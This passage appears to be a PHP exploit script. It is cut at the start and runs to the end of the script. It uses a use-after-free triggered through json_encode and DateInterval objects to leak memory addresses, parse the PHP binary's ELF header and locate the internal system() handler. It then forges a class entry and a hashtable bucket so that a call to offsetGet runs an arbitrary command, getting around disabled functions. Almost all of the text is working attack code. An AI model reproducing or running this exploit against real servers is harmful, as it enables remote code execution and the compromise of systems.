            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }
}

$y = [new Z()];
json_encode([&$y]);